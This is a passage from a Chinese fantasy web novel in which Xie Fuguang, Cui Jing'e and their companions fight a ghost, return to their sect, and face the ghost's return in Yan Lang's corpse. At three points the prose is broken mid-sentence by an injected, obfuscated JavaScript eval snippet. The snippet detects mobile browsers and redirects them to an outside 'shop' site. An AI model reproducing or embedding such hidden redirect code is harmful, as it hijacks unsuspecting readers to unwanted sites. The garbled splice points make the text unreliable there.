但听一道利刃入肉钝响,郎绝刀尖没入崔惊厄腹部,崔惊厄借势身体向后滑去,没让伤口被刺得更深。 颜琅并不恋战,打发了捣乱的,未握刀的左手立时以沥魂指侵向谢扶光,就要趁机夺她躯壳。 谢扶光左右闪避过两招,躲第三刀时右小臂被砍中,足有半寸深三寸长的伤口倏然绽开,飞溅一线血花,她尚不及反应,乐命即已脱手,随惯性飞出老远。 刀修丢刀乃奇耻大辱,但此刻的谢扶光已无暇考虑辱不辱的问题,她心中渐存死志。 局势极不乐观,再打下去不是死就是被夺壳,在她看来,后者还不如死了干净。 与颜琅的不甘如出一辙,她宁肯形魂俱灭,也绝不能把身体留给厉鬼! 这样想着,赶在沥魂指触碰她前额之前,她引颈上前,竟是径直朝郎绝利刃撞去。 后方养伤四人一齐瞠目,上前阻止已来不及,千钧一发之际,但见崔惊厄不顾腹部伤口,在黄沙上一撑藏蛟,借力将身体支起,阻隔在她与那刀锋之间。 正巧颜琅见谢扶光飞撞上前,手中郎绝也疾速避退掌余空隙,堪堪未伤及兀然插进来的崔惊厄。 只是很快,在看清凭空插在刀下的人是谁后,颜琅收刀的手顿住,于瞬息间再向前一递,这次出手显然奔着要崔惊厄性命而去,刀尖从后直指他胸口。 谢扶光面向颜琅,恰能极近看到这一幕,一时间浑身血液近乎冻结。 前世崔惊厄死于胸口一刀,堪称她最深重的梦魇,此刻遽烈的恐惧催发强劲力量爆发在她身体,赶在刀刃刺中崔惊厄之前,她迅疾把他一推,带动两人位置翻了个面。 谢扶光较崔惊厄略低半头,郎绝奔崔惊厄胸口而去,刺中的成了谢扶光的左肩,锋刃擦她肩胛骨剐过,直抵她最深处血肉肌理,差一点就能从对侧穿出。 所幸厉鬼惦记她的躯壳,终究不愿损她身体,发觉不对后,操控颜琅急急收刀,伤口处又是一阵磨蹭,利刃离体之时,谢扶光已是疼得发抖,脱力栽入崔惊厄怀中。 变故一环接一环,崔惊厄还没从谢扶光推他的天旋地转中回神,怀中已染满她鲜血,将他红衣的烈又加深一重。 与此同时,二人腕间一齐传来锐痛。 谢扶光因痛累和失血渐趋混沌的脑子里,乍响一个熟悉男声。 “谢扶光,今朝你与你之眷侣崔惊厄互为盾牌,生死相托,令我深受感动,为此,我可将你二人间曾斩断的姻缘线重续,还望二位珍惜这段情谊,莫再轻易相负。” 发声者是为他们结下姻缘线的那名“小月老”。 谢扶光抬起被冷汗打湿的睫毛,果见左腕一条闪烁红光的细线正从昔年断裂处一寸寸延伸,重新聚拢为一个圆满的圆。 “大小姐,小心!”正凝腕出神,耳畔兀地传来卢笑绒惊叫。 适才她欲以脖颈硬接郎绝刀锋之时,远处四人已一齐涌上,这会儿刚赶到近前。 厉鬼不会给她和崔惊厄重续姻缘线的时间,他们蹦跶太久,已深深令它不耐烦。 谢扶光受刺倒下的同时,它操控颜琅再度出手,这一次尤为狠绝,但见他一心二用,左右两手分别伸向地上两人,一只意欲夺壳,一只则为索命。 刚匆匆上前的四人来不及查看谢扶光情况,也顾不得身上大大小小的伤,两两默契分组与颜琅的左右手相抗。 宁磐和卢笑绒战力相对薄弱,舒扬舟和黎暨亦是伤重难行,饶是拼命抗衡,结果依然可想而知:两人被刀气震飞,另两人则被一掌挥开,纷纷于数米外倒地,呕血不止。 经几人这一阻,到底为崔惊厄争取了片时,锐痛渐消,他转了转右腕,唇畔勾起一抹嗜血笑意。 郎绝刀在震开舒扬舟和黎暨过后,找回先前目标,直朝崔惊厄刺来,崔惊厄不闪不避,径直提剑迎上,竟是拼上以胸口接这一刀,也要将藏蛟刺入颜琅心口。 只要毁去谢白扇身体,厉鬼境中颜琅的魂魄便无处栖身,饶是厉鬼力量再怎么强悍,失去承载的媒介,亦无法再对付他们肉身。 舒扬舟尚未缓过疼痛与晕眩,便见崔惊厄飞身直朝郎绝刀撞去,心下惊痛交加,竟是又呕出一大口血,另外三人亦是心神俱颤,反倒谢扶光没太大反应——姻缘线的重续,使她与崔惊厄原本就不弱的默契直接升华,堪达心灵相通的境界,她能感到他此举并非想要同归于尽,甚至有些成竹在胸。 但知道不意味放心,崔惊厄已许久没用过右手剑,右腕锐痛又尚未散尽,谁都不知这仓皇一招能将他昔日功力发挥几成,又足不足以一战颜琅。 所有人视线的中心,崔惊厄飞身朝颜琅直扑而去,动作利落,无丝毫迟疑。 从半米左右到一臂距离,再到掌余……眼见郎绝刀尖距离他心口越来越近,到最后已仅剩寸许,谢扶光心跳狂莽,几欲夺胸腔而出。 而就在这时,郎绝刀锋险伶伶一顿,旋即竟颤抖着向后略退了少许。 凝眸细看,但见藏蛟剑尖之前,竟是凭空多凝出了一截如虹剑气,那剑气如有实质,赶在郎绝刀尖抵达崔惊厄心口之前,已先一步贯入了颜琅前胸。 “这是……”同为剑修,舒扬舟显然认出了这一式,讶然低喃,“一寸承让!” 一寸承让乃霜寒十四式中最后一式刀法,无论心法还是招式都极难领悟,舒扬舟还从未见人用过。 当下仅存于传说的剑式就在他眼前被崔惊厄利落使出,裹挟无匹锐气,带给他震撼不言而喻。 这还是整场打斗中颜琅第一次受伤。 利刃入肉的疼痛刺激神经,他神志回笼,垂眸望着胸口血洞,蓦地笑出声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240254|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢白扇的身体还能再撑个片时,他没急着脱壳,只看着谢扶光幽幽道:“我心中邪念太多,这样下去,终有理智被完全噬尽之时。” 谢扶光自也知道,她捂着左肩艰难起身,牵动伤处气息微喘。 “当初你与它做交易时,就注定了会有今日。”可怜之人必有可恨之处,她丝毫没打算可怜颜琅。 “是啊,”好在颜琅说这话,也绝非要博谁的同情,“但我还是得声明一句,说好的事后清算,我提前逃掉,并不是怕了你。” “什么意思?” 颜琅不说话了,他以郎绝撑地,缓慢地自怀中摸出一道明黄符咒:“厉鬼的事,我最多就解决这么些,剩下的便靠你了,等会儿记得给我护法。” “护法”是何意?谢扶光不解。 直觉诡异,她蹙起眉头。 但见颜琅展开手中符咒,赫然竟是化影境前她匆忙贴在他身上的“业火焚魂”。 看清了符咒,谢扶光却更不解:先前在康城,她和舒扬舟也做过实验,业火焚魂仅能焚去妖气和魔气,厉鬼则是鬼,不在业火焚魂能产生效用的范围。 他是要干什么? 厉鬼显然也看清了这符咒,代替谢扶光问出声,笑中带讽:“你不会以为,区区业火焚魂就能伤我吧?” 颜琅神色未变,也扯了下唇角,轻轻淡淡回以一句:“不行么?” 厉鬼受困万里悲丘,轻易没能说话的机会,这会儿就有点好为人师。 “业火焚魂只对妖魔有用,你连这都不知道……” “不一定吧……” 颜琅打断它的嘲弄,反手就将业火焚魂贴在了额心。 意料之中的岑寂。 但只持续了一瞬。 岑寂过后,厉鬼境中能量骤然涌动,那瞧不起全世界的鬼物此刻正嘶声惨叫着,拼命想要将自身力量从颜琅身上抽离。 但谢扶光显然更快一筹。 她纵也不完全明白情况,行动却先于大脑,不顾肩伤撕裂,祭出全身灵力在颜琅周身围成一道无形屏障,为他“护了法”。 其余五人见状也很快动作起来,在她基础上将这屏障加固一重又一重。 厉鬼逃逸无门,在屏障上猛烈撞击,就在这无形涌动中,谢扶光后知后觉回过味来,表情登时复杂到了极点。 颜琅用业火焚魂并非为着焚魂,而是为在魂魄中引入一道业火。 他死了太久,伶仃生魂已如鬼冰冷,他需要这把火,作为他自爆魂魄所必需的热源。 仇敌将死,却是用这样壮烈的方式,使得谢扶光难以产生分毫快意,只觉唏嘘。 唏嘘中,颜琅最后开了口:“谢扶光,前世在万里悲丘,你做的很好……我敬佩你。” 最深刻最剧烈的疼痛喧嚣在灵魂深处,他声音不自觉颤抖,语气却平静。 “可复仇路不止一条,我虚伪、卑劣、有时令人作呕,但我从未后悔……今日做到这一步,我也没有输。” 说到最后,他竟想起化影境里那个守境十九年的弱小凡人,蓦地就有点明白了那句“我们没有输”。 为了非报不可的仇,他已奉献出一切,也抗争到了最后,怎么能算输呢? 况且…… 厉鬼先前侵入他魂魄的部分与他缴缠在一起,它太贪婪,只想对他无孔不入地控制,反成就了此刻的密不可分。 那一部分与他的魂魄一齐爆开,厉鬼远没他能忍,应是痛极,他耳畔怒吼惨嚎声不断。 真是首美妙的挽歌。 “挽歌”声中,颜琅又隐约听到那道沉静女声。 “颜琅,我也敬佩你。” 他的神识快全散了,扯起一个残缺不全的笑,悠悠转出最后的念头: 敬不敬佩,谁又在意呢? 92.各怀鬼胎 厉鬼没有具体形状,若拿人作比,颜琅自爆魂魄大抵相当于断了它四条躯干,主体仍存,但肢体生生焚毁之痛难当,厉鬼境摇摇欲坠,竟是生生撕裂一道出口。 众人趁机从那破口遁出,临走时崔惊厄带上了谢白扇仅剩一个空壳的躯壳。 到底是大小姐父亲的身体,又是受人敬仰的前辈,应当好生安葬。 厉鬼可以在万里悲丘随意移动,为免多生事端,一出厉鬼境,崔惊厄立即放出小美人,谢扶光让卢笑绒又仔细检查了一次,确认谢白扇遗体没问题后,六人一尸攀上龙背由小美人驮出了万里悲丘。 上了龙背,谢扶光绷紧多时的神经总算得以放松,浓烈的疲倦和疼痛见缝插针席卷全身,恍惚间她划过一个似乎很重要的念头,可惜不待捕捉就很快失去意识,再清醒时一天一夜已过去了。 睁眼时是黄昏,她睡在渡业山熟悉的房间,被施过清洁咒,浑身看起来还算整洁,肩膀处敷了灵药,绷带缠得很紧,有点束缚。 她不喜这种约束感,任性将其扯掉,脑子仍混沌着,前世今生分不太清,就要上剑宗寻崔惊厄。 推开房门,舒扬舟正在她院中。 未听见身后动静,他专注看着不远处,那里几个渡业山的弟子在商议下山玩些什么。 “师兄,”谢扶光叫人,“你也想下山玩了?” “没有。”舒扬舟回神,先看向她的伤,见已止血,便没讨伐她扯绷带的行径。 “我瞧你都看入迷了。”从万里悲丘回来,谢扶光心情尚可,多调侃一句。 舒扬舟笑笑,停顿少顷然后才说:“我是在想,她们跟你也就一般大吧。” 同样的年岁,别的小姑娘在约着好友玩乐,而他师妹刚九死一生回来…… 谢扶光揶揄的表情凝在脸上,一时不知该说什么。 好在舒扬舟很快抛出下个问题:“伤这么重,不好好歇着,出来乱跑什么?” “哦,我……”谢扶光刚要说找崔惊厄,脑子后知后觉醒过神,总算意识到崔惊厄已不是渡业山的人了。 她咽回到嘴边的话,只道:“你肩膀还被捅穿了呢,不也四处瞎跑?” “你想去找崔惊厄?”舒扬舟显然看出她心思,“正巧,人这会儿就在渡业山,议事厅里招摇撞骗呢。” 谢扶光:?! 什么玩意儿? 姓崔的不光混进了渡业山,还行骗行到了他们议事厅! 事实上,崔惊厄已在议事厅待了一天一夜。 谢扶光一晕解千愁,可一堆烂摊子总要处理。 先头出来的弟子们譬如圆脸兄早忘了万里悲丘内诡异,外界那些稳坐高台的宗主门更是闻所未闻,算一算,这偌大修界,知道厉鬼降世的仅他们六人。 而作为六人中最巧舌如簧的崔惊厄,自是当仁不让承担起善后责任。 谢白扇尸首被崔惊厄带回,掀起轩然大波,知仙盟势力将有大变动,各大宗门有头有脸的人物趁夜乘摆渡船赶来,风尘仆仆齐聚议事厅,生动刷新了“修界速度”,生怕少分了那杯羹。 对着满屋子能大出他几轮的老头子,他装出副恰到好处的拘谨,道出加工过的说辞: “谢盟主得知厉鬼降世于万里悲丘,为防将其惊动,伤及试炼中的弟子,特独自前往镇压,却不料……哎,盟主高义……” “谢白扇”孤身入万里悲丘不是秘密,入口处许多人都见了,也记得他对缘由缄口不言,是以崔惊厄这淡扯得很合逻辑。 “盟主赶到时,我们六人正在厉鬼境中遇险,生死垂危,盟主一面与厉鬼博弈,一面还要回护我们几个不争气的小辈,这才……”犹记说这话时,崔惊厄一拳锤上黄花梨木桌,似懊恼难自抑,“我们没用!” 满屋子老东西对他的话显然存疑,眯起狡猾的眸子看向一旁的舒扬舟。 舒扬舟:…… “都怪弟子们,学艺不精。”刚包好伤口过来就被迫接戏,他轻叹口气,硬着头皮也低下头。 各宗大能检查过谢白扇胸前伤口,纷纷捋着胡须故作沉吟。 而事实上,他们能沉吟出个屁。 伤口由崔惊厄那式“一寸承让”所伤,以气凝剑,并非实体,相似术法便是大能们也从未见过,只能装得高深莫测,各自浮想联翩。 有关“谢白扇”死因,崔惊厄只推说局势混乱,厉鬼与盟主动作都太快,他没有看清。 他越是说得少,越有大儒为他辩经,不多时,话题已走向玄之又玄的方向。 舒扬舟便是趁这时候溜出来,到谢扶光院中等着叫师妹一道看戏。 “盟主牺牲前,最后交代我们,定要哄骗……不是,我的意思是劝说,”陪这帮各怀鬼胎的老东西扯皮太久,从回来就一直没休息的崔惊厄心力交瘁,好不容易抢回话语权,余光又瞥见刚进门的谢扶光,注意力很有想法地偏了一偏,一不留神嘴了个瓢,好在很快反应过来,又接着道,“盟主交代定要将秘境中事,告知修界各位前辈,希望各宗勠力同心摧毁万里悲丘,扼杀厉鬼于萌芽!” 厉鬼降世确是大事,关乎每个人安危。 可他们都知道谢白扇实力,能让盟主折在里头,足见杀鬼之事凶险。 是以崔惊厄说完,议事厅中一片静默。 有的宗主已经在后悔来得早了。 早知非但没好事,还要去送死,他们何必赶着凑这个热闹? 每个人都想别人去送死,又不好意思说自己想躲在后头坐享其成,自私且不坦荡。 静默蔓延,空气里尴尬的气息又飘散好一会儿,崔惊厄才“刚想起来”似的:“哦,对了,盟主还说,那厉鬼经过他的镇压,已困死在万里悲丘,不得外出。我们在外面合力摧毁整片界域,想来不会遇到什么危险。” 这话如一滴水加入沸腾的油锅,各宗一扫先前鹌鹑样,踊跃得活像这辈子没那么文静过。 逍遥宫宫主慨乐反应最快,先一步扯旗:“盟主牺牲自己做到这一步,逍遥宫自是责无旁贷追随他脚步,如诸位不弃,我慨乐愿担起这领头人重任,确保此行顺利缴杀厉鬼!” 舒扬舟以隔空寄音联络于逍遥宫养伤的黎暨,为他实时转播情况,黎暨扭曲掩面,深深为自家宫主丢脸,只觉腰上伤口更痛了。 既知已无危险,此行便是劳少功高,谁不愿挑这个大梁? 盟主之位空悬,此番若能带头把事情办好,无疑将大增威望与话语权,便是混成下任盟主也是有可能的。 放眼这议事厅里端坐的人,看似道貌俨然,谁又不是怀着这点心思而来? 发言的越来越多,事情却依然无定论,局面走到了与此前那阵静默相对的极端,每一宗都觉得自己当仁不让,争抢这“虽千万人吾往矣”的先驱者资格。 看着各宗大能你方唱罢我登场,极力抢夺着“戏台”,崔惊厄懒于再维系友善假面,恹然移开视线。 后过来的谢扶光和舒扬舟也沉了脸,在这一霎深切体会到当年轻尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252572|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向修界提议合攻螭寐后收获的绝望。 有关厉鬼,谢扶光虽心知它目前仅能活动于万里悲丘,潜意识却仍存隐忧,总觉得有什么被遗漏,非毁去万里悲丘不得心安。 相较崔惊厄,大小姐耐心有限得多,她大步上前,未受伤的右手直接甩出乐命,插在议事厅正中央的地面。 “各位若实在争不出个结果,此行不若还是由渡业山带队,我们速战速决。”谢扶光初醒,气其实仍不太足,撑着朗声开口没有露怯,“各位前辈放心,渡业山在盟主位子上已坐了够久,事成后评功论绩,无论什么样的好处,我渡业山不会相争。” 若省去这争论功夫,早早前去,没准儿此刻已办成了事。 谢扶光觉得这些人甚烦,语气不算好,出口的话也像戳着各宗脊梁。 在场各位皆是有头有脸的人物,遮羞布遭扯,自然很有意见。 她话音刚落,立时有人驳斥,说话的是无量阙掌门:“谢大小姐这是何意?如此质疑我等用心,委实言重。” 无量阙表过态,几个宗门紧跟着附和,便是谢扶光在渡业山的叔伯此刻也跳出来摆长辈威严:“小小年纪,休得妄议,岂可将义举视作追名逐利?如此眼界,如何能代表渡业山?” 换言之,意思就是:渡业山并未在盟主位子上坐够,还请诸位将谢扶光方才所言当成放屁,事后无论名与利,我渡业山都仍要掺和。 心觉这些人愚不可及,简直无法沟通,谢扶光索性回屋养伤,眼不见为净。 可惜回了房间,她心中依旧未能平静。 大抵愤怒耗尽了所剩不多的精力,谢扶光很快昏然睡去,再睁眼又是一个黄昏,醒来的地方不是渡业山,而在山下民间很随意也很常见的一条小路。 四野无人,她孤魂一样飘荡于此,周围一切缥缈得像一重重影子。 大概是梦境。 她冷静地想。 以往入梦时,她通常会抽刀将梦境刺穿,以免梦中耗神,影响翌日练刀的精力。 但想到醒后大概还要面对议事厅那一张张老脸,谢扶光登时失去兴致,就这么漫无目的在街上乱逛起来。 不知多时,不远处隐约有唢呐声响起。 一声声剐蹭耳膜,牵动神经,谢扶光心脏莫名就加速了跳动。 与此同时,自飞离万里悲丘起心头就隐隐缭绕着的不安拨开迷雾,骤然显现出影踪。 金丝楠木棺从眼前抬过,飘落一地惨白纸钱。 看着那棺木,谢扶光自然浮起一个念头:那里装的是死者遗骨吧…… 与此同时,她脑中警铃大震,与那唢呐声冲撞出铮然回音。 他们带回的是谢白扇遗体,秘境中死的却是颜琅魂魄。 所以,颜琅的遗骨呢? 器墓迷阵中谢扶光曾见过颜琅那尸身一面,如没猜错,他很可能仍在万里悲丘…… 纷繁思绪尚未整理清楚,送棺队伍突然停了。 棺材从内掀开,露出颜琅的脸,它的身上浮动着厉鬼的森森阴气。 “谢扶光,我刚出来,就先不计前嫌地来与你打招呼,不欢迎么?” 谢扶光瞳孔骤扩,立时反手去摸乐命,而不待她碰到那熟悉的刀鞘,梦境就散了。 她倏然睁眼,从榻上三步并两步赶到门前,急着告知崔惊厄和师兄颜琅尸身一事。 刚一开门,正对上崔惊厄提手叩门的动作。 “大小姐,”他深吸一口气,“出事了。” 93.厉鬼归 事情并不复杂,简言之就是,“颜琅”回来了。 谢扶光赶到议事厅,与“颜琅”照面的一霎,深切体会到天道循环。 昔年颜琅顶着谢白扇皮囊坐上盟主尊位,今日厉鬼也披着他的皮大摇大摆上了渡业山。 议事厅众宗主们见了“颜琅”,震惊过后,很快算计起自己那些小九九。 谢白扇死后,盟主之位空悬,谁不眼馋? 而颜琅一来,在场这些老东西俱失了一争之力。 颜琅魂魄离壳虽早,鸣皋却有好好对待这梦寐以求的身子。 有句话她说得不错,她远比颜琅更努力,换了身体后,不再受限于天资,她在修行上一日千里,不过几年已把声名打得响亮。 二十余年前颜琅借厉鬼力量杀鸣皋于万里悲丘,鸣皋相抗不过,拼上鱼死网破,临终自刺一刀毁去颜琅躯体,这也是为何颜琅一直未再以本体现世。 此事外界流传的版本是颜琅为除魔而死,大义之举,当年很是赚足了眼泪。 世间诸事,终难逃“时宜”二字。 倘他当时回来,必能收获热烈欢迎。 可惜他回来的时机是现在。 昔年“无失圣手”已成“叶公好龙”的传说,当世各宗没人期盼他的到来。 有关这场多年后的回归,“颜琅”的解释相当契合压在修界头顶的杀鬼重担。 它称二十年前于万里悲丘除魔时,无意窥得厉鬼降世征兆,为防一举一动曝于厉鬼掌控,这些年它便假死脱身,偷偷寻觅制服厉鬼之法,今日回来,是刚习得一些门道。 此话一出,各宗宗主更觉地位受到威胁。 去万里悲丘诛杀厉鬼的进度再被拖慢,老头子们七嘴八舌,揪着颜琅诈尸般的出现剥出种种疑点,思维之活泼、脑洞之清奇领先绝大多数同龄老者。 好一番乌合景象。 而谢扶光已不在意了。 厉鬼已然借壳入世,此刻便是再去万里悲丘也来不及。 谢扶光立在议事厅外,只远远看了一眼便转身离开。 冬日入夜早,应着冰冷夜风,谢扶光将缠作一团的思绪缓慢舒展,兀地顿下步子。 崔惊厄和舒扬舟走在她身后,见她停下,俱以为她想到什么大事。 “你不用休息么?”谢扶光只是问崔惊厄。 她好歹还昏了一天一夜,舒扬舟也包扎过伤口,而崔惊厄从一回来便扎进各项繁琐事宜,始终未曾阖眼,连小腹刀伤都缠得潦草。 崔惊厄疲倦地眨了眨眼:“眼下这情况,让我回去睡反容易胡思乱想,不如我们一起想想办法。” 三人齐聚在谢扶光房间。 崔惊厄打量房中布置,与记忆里别无二致,只添了些恍若隔世感。 吱呀一声,谢扶光阖上门扉。 “不对劲,”她第一句就说,“既然厉鬼可直接使用颜琅躯壳,没道理花上这么多年只为等颜琅培育出我这个新容器。” “而且我们在第一场秘境中见过颜琅尸首,他的躯壳被一刀贯胸,”崔惊厄对没进过器墓迷阵的舒扬舟解释,“显然已是尸身,不具备各项生理机能。” 舒扬舟点头,想了想又添上一条疑点:“你们还记不记得,颜琅曾说,厉鬼害人主要靠攻心,而今日……” 今日议事厅中显然没一个人与它一条心。 分析过后,几人都觉情况或许不似料想般那么糟糕,借助颜琅已死的躯壳入世,厉鬼能力应是未得以完全发挥。 “所以,你更要小心。”谈着谈着,崔惊厄精力开始不济,昏然睡去前最后叮嘱,“它既特地给你托了梦,想来对你仍未死心。” 谢扶光把他扶到自己的寝榻躺下,又为他轻轻换好伤药。 见状舒扬舟识趣地退出房间。 夜比初时更深,风愈加大了。 这晚三人讨论得好好的,哪知隔天就换了风向。 昨夜还争论不休的宗主们被集体下了降头一般,态度变换得比墙头草更快,一个个争相拥护起“颜琅”,推他来做盟主。 这么多人一齐转向,定是被做了手脚。 崔惊厄佯作不经意与知情人打听,得知就在前夜,“颜琅”圆滑地给各宗宗主都送了点小礼物,称是这些年在外所得。 宗主们本不待见它,偏它送的礼物颇合每人心意,于是大部分人心下象征性博弈一番后,选择成全这番美意。 而昨夜收下厉鬼礼物者,今晨俱倒戈成为支持它的人。 崔惊厄听罢唏嘘,厉鬼送出的与其说是礼物,倒更像某种邪恶契约,一旦收下,便会在不知情时献出部分灵魂,沦为它的拥趸。 他将此事告知谢扶光和舒扬舟,三人一齐关注厉鬼“送礼物”的情况。 奇怪的是,它在送出最初那批礼物后,竟再未准备新的,似是觉得够了。 谢扶光自不会认为它的胃口小成这样,又观望几日,竟发现支持厉鬼的人数还在持续增加,且越往后增得越多,不出十日,整座渡业山竟已沦陷小半,其中大部分还是地位较高的弟子。 他们之中许多人都没和厉鬼正面接触过,会出现这样情形委实可疑。 三人又分散观察数日,总算从那些新拥趸的身上挖出一条共同点——他们虽未与厉鬼直接接触,却同一些拥趸“前辈”有过授受之举。 结论得出,三人心下更是一沉。 这样下去,无条件拥护厉鬼者只会滚雪球一样越滚越大,不止越来越多的人将失去理智,就连他们也不能保证不会着了它的道。 “往后这些时日,尽量不要同任何人接触,也千万别接任何人的东西。”舒扬舟沉声道。 谢扶光面上从善如流点头,心下却不以为然。 此法对他们或许可行,但她身上有厉鬼要的东西,它志在必得,定不会轻易让她避开。 谢扶光对敌时习惯以攻为守,此刻自不愿任由厉鬼掌握主动。 她划过一个阴晦念头:与其避其锋芒惶惶终日,不若以退为进将计就计。 她动念时忘记了腕上姻缘线,没留意崔惊厄轻轻投来的目光。 渡业山藏书阁为修界中最大,记载罕见术法无数,置身其间犹如泛舟学海。 其后七八天,谢扶光揣了几颗辟谷丹,缩进藏书阁就再没出来。 颜琅想剥她的魂夺她的壳,坐以待毙非她习惯,她得找个法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262136|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,最好能将魂魄与肉身紧紧缠连在一起,密不可分。 理想很丰满,可阁中藏书太多,谢扶光又有文字入眼就犯困的沉疴,数日下来,也不过囫囵啃了一面半的书架。 直到第八日晚,崔惊厄从外进来,绕着藏书阁踱了一圈,很随手地扒下一本小册子递给她:“你要的东西。” 谢扶光看着他手中平平无奇的薄册,并没要接的意思。 崔惊厄见状,轻弹她额头:“可以接,放心,我还没着厉鬼的道。” 谢扶光将信将疑接过薄册,翻开到崔惊厄折角那页,见泛黄宣纸上赫然载着一条名为“身魂永依”的术法。 身魂永依,顾名思义,躯壳与魂魄紧密相依,专克用于剥魂夺壳的沥魂指。 正是她要找的东西! 谢扶光抬头看崔惊厄,像看怪物一样。 崔惊厄眉梢缓慢扬了扬,似下意识想扯几句淡,终究兴致不高,选择作罢。 他贴着谢扶光身侧坐下,扯起唇角说:“前世在渡业山,我夸下海口要帮你重新养出乐命刀灵,为此曾在这间屋子长住过五年。” “可你当时说,之前忘了这回事,时隔五年偶然记起,运气不错,随手一翻就翻到了法子。”谢扶光拆穿他。 “嗯,那会儿是骗你的。”崔惊厄承认得很迅速,他笑着朝她那边歪了歪头,谢扶光察觉,脑袋亦是一偏,与他的抵在一起,又听他声音更近地传来,“当时年轻,总想做一做天才梦,假装事情完成得毫不费力。” “那你这会儿怎么又说实话了?”谢扶光问。 崔惊厄没有回答。 无声胜有声,谢扶光在这沉默里,后知后觉品出三分悔意。 她想,他大概是怕现在不说,就永远来不及了吧。 于是二人都不再开口。 姻缘线串起两份泛凉心意,淌成一条结冰的河。 事实证明,崔惊厄的担忧是对的。 因为就在这天后的不久,不知是按捺不住,还是颜琅躯壳已日渐衰败到不堪一用,厉鬼的手终究还是伸到了谢扶光身上。 先前的化影境中,乐命刀鞘毁于与螭寐那一战,回来后舒扬舟便托器宗长老为谢扶光打了副新的,这日恰是新刀鞘出炉的日子。 器宗一小弟子喜气洋洋捧着新刀鞘扣响谢扶光房门,刀鞘平置于一方红绸之上,不似之前的华丽,却由内而外透着股低调的奢华,与乐命刀身甚是相配。 谢扶光道了谢,伸手前其实闪过一瞬犹疑,想了想仍是选择接下,收下了这份珍贵的“礼赠”。 而就在指尖触及刀鞘的一刻,她脑中霎时嗡鸣不止。 一阵遽烈眩晕轰然袭来,冲撞着她踉跄几步,一头栽靠在梁柱才勉强稳住身形。 与此同时,熟悉的邪恶声音刺破那片嗡鸣,从脑海深处响起,回音荡彻五脏六腑。 “谢扶光,我送的礼物,你还满意么?” 因为晕,谢扶光眼前模糊一片,毫无答话心情。 厉鬼不在意,它一副心情极好的模样,只接着笑道:“你不说话,我可当你默认了。” “既如此,便乖乖由我差遣,把你的身体让给我吧……” 94.无生路 “你做了什么?” 谢扶光顺从来到厉鬼指定的地点,如它每一个奴隶一样,唯它马首是瞻,甚至恭顺地垂下头,只等它出手夺取自己躯壳。 然而就在厉鬼探出沥魂指的瞬间,它那副颜琅的皮囊面色骤变。 谢扶光的魂魄就像与躯壳黏连在了一起,强行抽出固然可以,只是身与魂一损俱损,莽撞行事势必会伤及她珍贵的肉身。 “你做了什么?!”厉鬼又气急败坏问了一次。 谢扶光压下微勾的唇角,刻意僵硬地回答:“三天前,我练成了‘身魂永依’术法。” 说话时,她暗暗打量颜琅这具尸身。 颜琅遗体能历经数十年而不朽,显然一直受郎绝吸食祭坛中弟子生机来供养,而今郎绝设在器墓迷阵中的祭坛遭毁,尸身失了生机养护,显然正逐步走向衰败。 谢扶光瞥见,他尸体后脖颈处都长斑了,手背也呈现小范围的溃烂,难怪厉鬼这么急着换皮。 谢扶光不听话地留了后手,此举很是惹恼了厉鬼,它抬臂就想甩她一耳光,终究念着这具身体,巴掌落在她脸上时没带力气。 它顺势以掌心磨蹭她脸颊肌肤,语气阴柔:“你以为做到这步,我就能放过你了么?” 它便是想放过她,也没有别的选择。 自古厉鬼为祸世间,在人间当久了祸害,一代代演替出拟人特性,在选定人类锚点的一霎,它便自然改造成为与那人类最为适配的性状。 一开始它看上的其实是颜琅躯壳,无奈鸣皋临死前搞了出玉石俱焚的大动静,长刀贯胸毁去了这具完美尸身,它才不得不骗颜琅亲手为它改造了一个平替谢扶光。 时至今日,颜琅尸身难以为继,厉鬼几乎能闻到隐隐尸臭。 眼下除了谢扶光,还真没别人能容它了。 “爱抚”她面颊的手掌停下,颜琅的脸凑近摊开在谢扶光面前,尸臭味混杂扭曲表情让她没忍住攒了下眉。 “你以为做到这步,你的身体我就不要了么?”厉鬼低低呢喃如恋人絮语。 说着,它再次摆出沥魂指的手势,谢扶光顺从它心意,懂事地向前探了探脑袋,下一霎灵魂骤然传来拥挤的压迫感,厉鬼竟是将整个鬼躯强塞入她躯壳,与她共同占有了这具身体。 厉鬼在她躯壳里抻脖子蹬腿地适应了一会儿,显然尚算满意,谢扶光感受着体内另一只灵魂的碰撞,在它未留意时唇角勾起一丝笑意。 - 修界的天变了。 被多数宗门群拥为新盟主的颜琅不待上任,便被发现惨死湖中,捞起来时遗体已溃败得相当厉害,远快于修士应有的腐败速度,不知招惹上什么了不得的人物。 